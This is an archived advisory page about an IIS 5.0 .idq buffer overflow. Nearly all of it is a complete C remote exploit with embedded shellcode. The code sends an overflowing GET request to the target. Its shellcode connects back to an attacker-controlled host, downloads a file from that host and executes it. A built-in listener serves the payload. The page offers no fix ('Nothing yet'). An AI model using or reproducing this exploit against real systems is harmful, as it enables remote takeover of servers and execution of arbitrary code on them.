COMMAND
IIS
SYSTEMS AFFECTED
IIS 5.0
PROBLEM
Jason Staples posted following. SANS accounced its availability
today, and after spending a bit of time searching, we finally
found the new IIS5 exploit.
/*
IIS5.0 .idq overrun remote exploit
Programmed by hsj : 01.06.21
code flow:
overrun -> jmp or call ebx -> jmp 8 ->
check shellcode addr and jump to there ->
shellcode -> make back channel -> download & exec code
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <limits.h>
#include <netdb.h>
#include <arpa/inet.h>
#define RET 0x77e516de /* jmp or call ebx */
#define GMHANDLEA 0x77e56c42 /* Address of GetModuleHandleA */
#define GPADDRESS 0x77e59ac1 /* Address of GetProcAddress */
#define GMHANDLEA_OFFSET 24
#define GPADDRESS_OFFSET 61
#define OFFSET 234 /* exception handler offset */
#define NOP 0x41
#define MASKING 1
#if MASKING
#define PORTMASK 0x4141
#define ADDRMASK 0x41414141
#define PORTMASK_OFFSET 128
#define ADDRMASK_OFFSET 133
#endif
#define PORT 80
#define ADDR "attacker.mydomain.co.jp"
#define PORT_OFFSET 115
#define ADDR_OFFSET 120
unsigned char shellcode[]=
"\x5B\x33\xC0\x40\x40\xC1\xE0\x09\x2B\xE0\x33\xC9\x41\x41\x33\xC0"
"\x51\x53\x83\xC3\x06\x88\x03\xB8\xDD\xCC\xBB\xAA\xFF\xD0\x59\x50"
"\x43\xE2\xEB\x33\xED\x8B\xF3\x5F\x33\xC0\x80\x3B\x2E\x75\x1E\x88"
"\x03\x83\xFD\x04\x75\x04\x8B\x7C\x24\x10\x56\x57\xB8\xDD\xCC\xBB"
"\xAA\xFF\xD0\x50\x8D\x73\x01\x45\x83\xFD\x08\x74\x03\x43\xEB\xD8"
"\x8D\x74\x24\x20\x33\xC0\x50\x40\x50\x40\x50\x8B\x46\xFC\xFF\xD0"
"\x8B\xF8\x33\xC0\x40\x40\x66\x89\x06\xC1\xE0\x03\x50\x56\x57\x66"
"\xC7\x46\x02\xBB\xAA\xC7\x46\x04\x44\x33\x22\x11"
#if MASKING
"\x66\x81\x76\x02\x41\x41\x81\x76\x04\x41\x41\x41\x41"
#endif
"\x8B\x46\xF8\xFF\xD0\x33\xC0"
"\xC7\x06\x5C\x61\x61\x2E\xC7\x46\x04\x65\x78\x65\x41\x88\x46\x07"
"\x66\xB8\x80\x01\x50\x66\xB8\x01\x81\x50\x56\x8B\x46\xEC\xFF\xD0"
"\x8B\xD8\x33\xC0\x50\x40\xC1\xE0\x09\x50\x8D\x4E\x08\x51\x57\x8B"
"\x46\xF4\xFF\xD0\x85\xC0\x7E\x0E\x50\x8D\x4E\x08\x51\x53\x8B\x46"
"\xE8\xFF\xD0\x90\xEB\xDC\x53\x8B\x46\xE4\xFF\xD0\x57\x8B\x46\xF0"
"\xFF\xD0\x33\xC0\x50\x56\x56\x8B\x46\xE0\xFF\xD0\x33\xC0\xFF\xD0";
unsigned char storage[]=
"\xEB\x02"
"\xEB\x4E"
"\xE8\xF9\xFF\xFF\xFF"
"msvcrt.ws2_32.socket.connect.recv.closesocket."
"_open._write._close._execl.";
unsigned char forwardjump[]=
"%u08eb";
unsigned char jump_to_shell[]=
"%uC033%uB866%u031F%u0340%u8BD8%u8B03"
"%u6840%uDB33%u30B3%uC303%uE0FF";
unsigned int resolve(char *name)
{
struct hostent *he;
unsigned int ip;
if((ip=inet_addr(name))==(-1))
{
if((he=gethostbyname(name))==0)
return 0;
memcpy(&ip,he->h_addr,4);
}
return ip;
}
int make_connection(char *address,int port)
{
struct sockaddr_in server,target;
int s,i,bf;
fd_set wd;
struct timeval tv;
s = socket(AF_INET,SOCK_STREAM,0);
if(s<0)
return -1;
memset((char *)&server,0,sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl(INADDR_ANY);
server.sin_port = 0;
target.sin_family = AF_INET;
target.sin_addr.s_addr = resolve(address);
if(target.sin_addr.s_addr==0)
{
close(s);
return -2;
}
target.sin_port = htons(port);
bf = 1;
ioctl(s,FIONBIO,&bf);
tv.tv_sec = 10;
tv.tv_usec = 0;
FD_ZERO(&wd);
FD_SET(s,&wd);
connect(s,(struct sockaddr *)&target,sizeof(target));
if((i=select(s+1,0,&wd,0,&tv))==(-1))
{
close(s);
return -3;
}
if(i==0)
{
close(s);
return -4;
}
i = sizeof(int);
getsockopt(s,SOL_SOCKET,SO_ERROR,&bf,&i);
if((bf!=0)||(i!=sizeof(int)))
{
close(s);
errno = bf;
return -5;
}
ioctl(s,FIONBIO,&bf);
return s;
}
int get_connection(int port)
{
struct sockaddr_in local,remote;
int lsock,csock,len,reuse_addr;
lsock = socket(AF_INET,SOCK_STREAM,0);
if(lsock<0)
{
perror("socket");
exit(1);
}
reuse_addr = 1;
if(setsockopt(lsock,SOL_SOCKET,SO_REUSEADDR,(char *)&reuse_addr,sizeof(reuse_addr))<0)
{
perror("setsockopt");
close(lsock);
exit(1);
}
memset((char *)&local,0,sizeof(local));
local.sin_family = AF_INET;
local.sin_port = htons(port);
local.sin_addr.s_addr = htonl(INADDR_ANY);
if(bind(lsock,(struct sockaddr *)&local,sizeof(local))<0)
{
perror("bind");
close(lsock);
exit(1);
}
if(listen(lsock,1)<0)
{
perror("listen");
close(lsock);
exit(1);
}
retry:
len = sizeof(remote);
csock = accept(lsock,(struct sockaddr *)&remote,&len);
if(csock<0)
{
if(errno!=EINTR)
{
perror("accept");
close(lsock);
exit(1);
}
else
goto retry;
}
close(lsock);
return csock;
}
int main(int argc,char *argv[])
{
int i,j,s,pid;
unsigned int cb;
unsigned short port;
char *p,buf[512],buf2[512],buf3[2048];
FILE *fp;
if(argc!=3)
{
printf("usage: $ %s ip file\n",argv[0]);
return -1;
}
if((fp=fopen(argv[2],"rb"))==0)
return -2;
if(!(cb=resolve(ADDR)))
return -3;
if((pid=fork())<0)
return -4;
if(pid)
{
fclose(fp);
s = make_connection(argv[1],80);
if(s<0)
{
printf("connect error:[%d].\n",s);
kill(pid,SIGTERM);
return -5;
}
j = strlen(shellcode);
*(unsigned int *)&shellcode[GMHANDLEA_OFFSET] = GMHANDLEA;
*(unsigned int *)&shellcode[GPADDRESS_OFFSET] = GPADDRESS;
port = htons(PORT);
#if MASKING
port ^= PORTMASK;
cb ^= ADDRMASK;
*(unsigned short *)&shellcode[PORTMASK_OFFSET] = PORTMASK;
*(unsigned int *)&shellcode[ADDRMASK_OFFSET] = ADDRMASK;
#endif
*(unsigned short *)&shellcode[PORT_OFFSET] = port;
*(unsigned int *)&shellcode[ADDR_OFFSET] = cb;
for(i=0;i<strlen(shellcode);i++)
{
if((shellcode[i]==0x0a)||
(shellcode[i]==0x0d)||
(shellcode[i]==0x3a))
break;
}
if(i!=j)
{
printf("bad portno or ip address...\n");
close(s);
kill(pid,SIGTERM);
return -6;
}
memset(buf,1,sizeof(buf));
p = &buf[OFFSET-2];
sprintf(p,"%s",forwardjump);
p += strlen(forwardjump);
*p++ = 1;
*p++ = '%';
*p++ = 'u';
sprintf(p,"%04x",(RET>>0)&0xffff);
p += 4;
*p++ = '%';
*p++ = 'u';
sprintf(p,"%04x",(RET>>16)&0xffff);
p += 4;
*p++ = 1;
sprintf(p,"%s",jump_to_shell);
memset(buf2,NOP,sizeof(buf2));
memcpy(&buf2[sizeof(buf2)-strlen(shellcode)-strlen(storage)-1],storage,strlen(storage));
memcpy(&buf2[sizeof(buf2)-strlen(shellcode)-1],shellcode,strlen(shellcode));
buf2[sizeof(buf2)-1] = 0;
sprintf(buf3,"GET /a.idq?%s=a HTTP/1.0\r\nShell: %s\r\n\r\n",buf,buf2);
write(s,buf3,strlen(buf3));
printf("---");
for(i=0;i<strlen(buf3);i++)
{
if((i%16)==0)
printf("\n");
printf("%02X ",buf3[i]&0xff);
}
printf("\n---\n");
wait(0);
sleep(1);
shutdown(s,2);
close(s);
printf("Done.\n");
}
else
{
s = get_connection(PORT);
j = 0;
while((i=fread(buf,1,sizeof(buf),fp)))
{
write(s,buf,i);
j += i;
printf(".");
fflush(stdout);
}
fclose(fp);
printf("\n%d bytes send...\n",j);
shutdown(s,2);
close(s);
}
return 0;
}
SOLUTION
Nothing yet.
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH
